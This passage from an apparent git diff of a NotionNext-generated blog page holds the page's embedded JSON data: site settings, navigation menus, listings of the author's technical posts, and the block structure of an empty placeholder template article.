40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-9"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-9","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章9","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:06.142Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=463a12f0-d5d5-4492-bb0f-8058cea32a41","pageCoverThumbnail":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=463a12f0-d5d5-4492-bb0f-8058cea32a41\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"463a12f0-d5d5-4492-bb0f-8058cea32a41":{"value":{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","version":7,"type":"page","content":["a8c29bdc-907d-4d34-91e5-16cb41d364a8","0af78e74-0f6f-4835-9439-2011e6119213","7ed33ddc-96f3-45fe-a1d8-1a1f638de98e","dce8171f-4f6b-4ed0-ba15-9768718c01fb","04356097-50ce-4d5e-bebf-cf7b41537fcd","b330bfba-4093-42e6-87c7-2b5459c9cf76","1fbd3e80-cdb5-4a08-bce3-ab338829afb3","fd545374-5d81-4a2d-ab21-2d4df214b9f0","ec9723c4-8b25-47e0-9df3-971848bbf522","46fd514c-56fb-49d6-9b5c-a471a2f1b4a8","8624876d-b0bf-44d3-86a2-34e832f77ea9","f2398279-7337-415d-92de-ce76a1245c9f","d858f147-752b-4fd7-a931-6e270a7b7f98","468c0bd8-9b86-4390-973c-a9ba199aa3b8"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"55acf95f-e710-4600-b979-5b6b1ece731b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337111,"last_edited_time":1705630806142,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"55acf95f-e710-4600-b979-5b6b1ece731b","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"a8c29bdc-907d-4d34-91e5-16cb41d364a8":{"value":{"id":"a8c29bdc-907d-4d34-91e5-16cb41d364a8","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["c794c243-598f-4d45-9354-33548953674a"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"a3d2082e-fe88-4bd1-9c34-add0fb59bee5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"a3d2082e-fe88-4bd1-9c34-add0fb59bee5"}},"c794c243-598f-4d45-9354-33548953674a":{"value":{"id":"c794c243-598f-4d45-9354-33548953674a","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"13d1f070-3c8a-45e5-b46a-5b9b18019537","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337155,"last_edited_time":1705594337155,"parent_id":"a8c29bdc-907d-4d34-91e5-16cb41d364a8","parent_table":"block","alive":true,"copied_from":"13d1f070-3c8a-45e5-b46a-5b9b18019537"}},"0af78e74-0f6f-4835-9439-2011e6119213":{"value":{"id":"0af78e74-0f6f-4835-9439-2011e6119213","type":"text","format":{"copied_from_pointer":{"id":"c038bbc8-3331-4b1f-a45c-03e3e1442d50","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"c038bbc8-3331-4b1f-a45c-03e3e1442d50"}},"7ed33ddc-96f3-45fe-a1d8-1a1f638de98e":{"value":{"id":"7ed33ddc-96f3-45fe-a1d8-1a1f638de98e","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"152176ec-1720-4cc0-adc0-a46d67f54874","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"152176ec-1720-4cc0-adc0-a46d67f54874"}},"dce8171f-4f6b-4ed0-ba15-9768718c01fb":{"value":{"id":"dce8171f-4f6b-4ed0-ba15-9768718c01fb","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"2c1e1d32-266e-4642-acb0-b1b1a3fb251c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"2c1e1d32-266e-4642-acb0-b1b1a3fb251c"}},"04356097-50ce-4d5e-bebf-cf7b41537fcd":{"value":{"id":"04356097-50ce-4d5e-bebf-cf7b41537fcd","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"a3154c14-02b8-42a5-9f8a-0d70d35d7296","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"a3154c14-02b8-42a5-9f8a-0d70d35d7296"}},"b330bfba-4093-42e6-87c7-2b5459c9cf76":{"value":{"id":"b330bfba-4093-42e6-87c7-2b5459c9cf76","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"04fea4f6-7b2c-40cc-96b7-06b0fb187ea6","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"04fea4f6-7b2c-40cc-96b7-06b0fb187ea6"}},"1fbd3e80-cdb5-4a08-bce3-ab338829afb3":{"value":{"id":"1fbd3e80-cdb5-4a08-bce3-ab338829afb3","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"e67738b8-c524-4008-a9cf-752ea580c5ff","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"e67738b8-c524-4008-a9cf-752ea580c5ff"}},"fd545374-5d81-4a2d-ab21-2d4df214b9f0":{"value":{"id":"fd545374-5d81-4a2d-ab21-2d4df214b9f0","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"63d4f8c1-d4ed-43cc-ac28-29eeeee8961c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"63d4f8c1-d4ed-43cc-ac28-29eeeee8961c"}},"ec9723c4-8b25-47e0-9df3-971848bbf522":{"value":{"id":"ec9723c4-8b25-47e0-9df3-971848bbf522","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"559245c6-ddc7-47b1-af8d-45b7126cb7fb","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"559245c6-ddc7-47b1-af8d-45b7126cb7fb"}},"46fd514c-56fb-49d6-9b5c-a471a2f1b4a8":{"value":{"id":"46fd514c-56fb-49d6-9b5c-a471a2f1b4a8","type":"header","properties":{"title":[["📎 